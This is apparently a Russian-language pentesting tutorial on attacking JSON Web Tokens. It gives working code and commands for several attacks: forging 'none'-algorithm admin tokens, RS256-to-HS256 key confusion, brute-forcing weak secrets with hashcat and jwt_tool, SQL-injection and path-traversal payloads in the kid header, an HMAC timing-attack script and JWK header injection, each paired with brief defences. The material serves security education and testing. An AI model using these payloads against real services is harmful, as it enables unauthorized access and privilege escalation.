
26
JSON Web Token (JWT) – это стандарт для передачи данных между сторонами в виде JSON-объектов. Токен состоит из трёх частей: заголовка (header), полезной нагрузки (payload) и подписи (signature). Казалось бы, подпись гарантирует целостность, но на практике разработчики допускают классические ошибки, которые превращают JWT в дырявое решето. Давай разберём топовые атаки.
None Algorithm Attack
Самый тупой, но рабочий эксплойт. Суть проста: меняем алгоритм подписи на none, удаляем саму подпись, и сервер принимает токен как валидный.
Структура JWT
Нормальный токен выглядит так:
|
1 |
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature_here |
Декодируем header:
|
1 2 3 4 |
{ "alg": "HS256", "typ": "JWT" } |
Эксплуатация
Меняем alg на none или None (регистр важен):
|
1 2 3 4 |
{ "alg": "none", "typ": "JWT" } |
Кодируем в Base64:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
import base64 import json header = {"alg": "none", "typ": "JWT"} payload = {"user": "admin", "role": "superadmin"} header_encoded = base64.urlsafe_b64encode( json.dumps(header).encode() ).decode().rstrip('=') payload_encoded = base64.urlsafe_b64encode( json.dumps(payload).encode() ).decode().rstrip('=') # Токен БЕЗ подписи, но с точкой в конце exploit_token = f"{header_encoded}.{payload_encoded}." print(exploit_token) |
Обрати внимание на точку в конце — она критична. Некоторые либы требуют её наличие даже при none.
Защита
Жёстко проверяй алгоритм на сервере:
|
1 2 |
if token_header['alg'].lower() == 'none': raise SecurityException("None algorithm not allowed") |
Algorithm Confusion Attack (RS256 → HS256)
Это уже интереснее. RS256 использует асимметричное шифрование (приватный ключ для подписи, публичный для проверки). HS256 – симметричное (один секрет для всего).
Вектор атаки
Если сервер не фиксирует алгоритм жёстко, можно подменить RS256 на HS256 и использовать публичный ключ как секрет для HMAC. Публичный ключ общедоступен, а значит, можем подписать свой токен.
Практика
Получаем публичный ключ сервера (часто доступен через /.well-known/jwks.json или в сертификате):
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
import jwt import base64 # Публичный ключ в PEM формате public_key = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... -----END PUBLIC KEY-----""" # Меняем алгоритм на HS256 и подписываем публичным ключом payload = { "user": "admin", "role": "superadmin" } # Используем публичный ключ как HMAC secret exploit_token = jwt.encode( payload, key=public_key, algorithm="HS256" ) print(exploit_token) |
Почему работает
Сервер ожидает RS256, но вместо проверки подписи приватным ключом проверяет HMAC с публичным. А публичный ключ у нас есть.
Защита
Фиксируй алгоритм явно:
|
1 2 3 4 5 |
# НЕ делай так decoded = jwt.decode(token, key, algorithms=jwt.algorithms.get_default_algorithms()) # Делай так decoded = jwt.decode(token, key, algorithms=["RS256"]) |
Weak Secret Brute Force
Если используется HS256/HS384/HS512 со слабым секретом, можно просто брутфорсить подпись.
Инструменты
hashcat – быстрее всех:
|
1 2 3 4 5 |
# Сохраняем токен в файл jwt.txt hashcat -m 16500 jwt.txt wordlist.txt --force # С правилами для мутаций hashcat -m 16500 jwt.txt wordlist.txt -r rules/best64.rule |
jwt_tool – швейцарский нож для JWT:
|
1 2 3 4 5 |
# Словарная атака python3 jwt_tool.py <TOKEN> -C -d wordlist.txt # Брутфорс по маске (4 цифры) python3 jwt_tool.py <TOKEN> -C -p "?d?d?d?d" |
Скрипт на Python
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
import jwt import hashlib import hmac token = "eyJhbGci...твой_токен" wordlist = ["password", "secret", "123456", "admin"] header, payload, signature = token.split('.') message = f"{header}.{payload}" for secret in wordlist: try: # Пробуем декодировать с каждым секретом decoded = jwt.decode( token, secret, algorithms=["HS256"] ) print(f"[+] Секрет найден: {secret}") print(f"[+] Payload: {decoded}") break except jwt.InvalidSignatureError: continue |
KID Injection Attack
Параметр kid (Key ID) в заголовке указывает, какой ключ использовать. Иногда его значение используется в SQL-запросах или для чтения файлов.
SQL Injection через KID
|
1 2 3 4 5 |
{ "alg": "HS256", "typ": "JWT", "kid": "key1' UNION SELECT 'secret'--" } |
Если сервер делает что-то типа:
|
1 |
SELECT key FROM keys WHERE kid = '{kid}' |
То можем инжектить любое значение ключа.
Path Traversal
|
1 2 3 4 5 |
{ "alg": "HS256", "typ": "JWT", "kid": "../../dev/null" } |
Если сервер читает файл по пути из kid, можем указать /dev/null (пустая строка) как секрет и подписать токен пустой строкой:
|
1 2 3 4 5 6 7 8 9 |
payload = {"user": "admin"} header = {"alg": "HS256", "kid": "../../dev/null"} token = jwt.encode( payload, key="", # Пустая строка algorithm="HS256", headers=header ) |
Timing Attack для HMAC
Если проверка HMAC идёт побайтово с ранним выходом, можно измерять время ответа и подбирать подпись.
Концепт
|
1 2 3 4 5 6 7 |
# Уязвимый код def verify_signature(message, signature, secret): expected = hmac.new(secret, message, hashlib.sha256).digest() for i in range(len(expected)): if expected[i] != signature[i]: return False # Ранний выход! return True |
Эксплуатация
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
import requests import time base_url = "https://target.com/api" token_parts = ["header", "payload"] signature_chars = "0123456789abcdef" def measure_time(signature): token = f"{token_parts[0]}.{token_parts[1]}.{signature}" start = time.time() requests.get(base_url, headers={"Authorization": f"Bearer {token}"}) return time.time() - start # Подбираем побайтово found = "" for pos in range(64): # SHA256 = 32 байта = 64 hex символа times = {} for char in signature_chars: test = found + char + "0" * (63 - pos) times[char] = measure_time(test) # Выбираем символ с максимальным временем found += max(times, key=times.get) print(f"[+] Signature: {found}") |
Защита
Используй константное время для сравнения:
|
1 2 3 4 |
import hmac def constant_time_compare(a, b): return hmac.compare_digest(a, b) |
JWK Injection
Некоторые либы позволяют указать ключ прямо в токене через параметр jwk или jku.
Атака
|
1 2 3 4 5 6 7 8 9 10 |
{ "alg": "RS256", "jwk": { "kty": "RSA", "kid": "custom", "use": "sig", "n": "твой_модуль", "e": "AQAB" } } |
Генерируем свою пару ключей, вставляем публичный в jwk, подписываем приватным.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend import jwt # Генерируем пару private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_key = private_key.public_key() # Подписываем с инъекцией JWK payload = {"user": "admin"} headers = { "alg": "RS256", "jwk": { "kty": "RSA", "use": "sig", "n": "base64_модуль_публичного_ключа", "e": "AQAB" } } token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers) |
Автоматизация с jwt_tool
Мастхэв инструмент для пентеста JWT:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Сканирование всех уязвимостей python3 jwt_tool.py <TOKEN> -M at # Смена алгоритма на none python3 jwt_tool.py <TOKEN> -X a # Algorithm confusion RS256->HS256 python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem # Подмена payload python3 jwt_tool.py <TOKEN> -T # Инъекция SQL в kid python3 jwt_tool.py <TOKEN> -I -hc kid -hv "key' OR 1=1--" |
Чек-лист для пентеста
alg: none с вариациями регистраkid на SQLi и path traversaljwk, jku, x5utyp на нестандартные значенияexp, iat, nbf)Вот так выглядит реальный хардкор в JWT-атаках. Главное – не забывай, что всё это работает только из-за косяков разработчиков. Правильная имплементация с жёсткой проверкой алгоритмов и сильными секретами убивает 99% этих эксплойтов.